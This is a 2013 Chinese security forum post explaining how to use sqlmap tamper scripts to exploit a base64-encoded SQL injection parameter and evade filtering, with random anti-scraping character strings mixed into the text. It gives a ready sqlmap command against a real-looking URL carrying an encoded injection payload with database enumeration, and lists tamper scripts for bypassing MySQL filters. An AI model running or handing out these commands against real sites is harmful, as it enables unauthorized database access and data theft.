找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2467|回复: 0
打印 上一主题 下一主题

SQlMap Tamper注入Base64编码注入点

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 15:50:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?
9 s, J2 E' k& U- ]. q0 Q) K8 K
1 H) L: V2 N: o; ?: P' J; Tsqlmap的tamper里有个base64encode.py
3 V# h8 d8 k& T, F. m
# k) R2 }& y" V& n4 i0 T使用如下0 B  I9 F/ ~* w$ Q
$ K. H2 l5 n" y8 z9 y
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs" l3 }5 w" v2 K% o* e

1 R' j& c$ u1 Z$ ~
! Z3 k8 V8 B$ ?6 C9 F. J% fsqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”5 J& o) j  _# o( u5 |; n
! a% Y$ p. d  p
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:: j2 I6 P7 r. r6 h. I; n
8 G! ?  \4 C6 A8 w" D
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
9 V) Y. R5 L) Aspace2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入0 z) z9 V# V9 b2 d
首先确定目标数据库版本,然后选择相应的脚本。
: {8 {. j2 Z2 \* S1 [) E-v 3 --batch --tamper "space2hash.py"& w; [2 e3 K; p8 g& z1 s! u

* T2 |* B2 Y/ t* ?" }4 a5 P还有其他一些插件:
  \" r' k. U8 a8 {encodes编码 ——charencode.py8 w# A& ~: G* `( I2 t
base64编码 —— base64encode.py
: _6 ?/ G  ]- u7 j) |9 z- k替换空格和关键字 —— halfversionedmorekeywords.py& o2 D) H/ z; _+ K* r6 O) C
) D4 P1 M4 b5 v% ?8 j

2 a/ h- E/ K- J- [* H! B( {' O- [0 m" ~' c

2 s6 ]4 N  W% B5 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表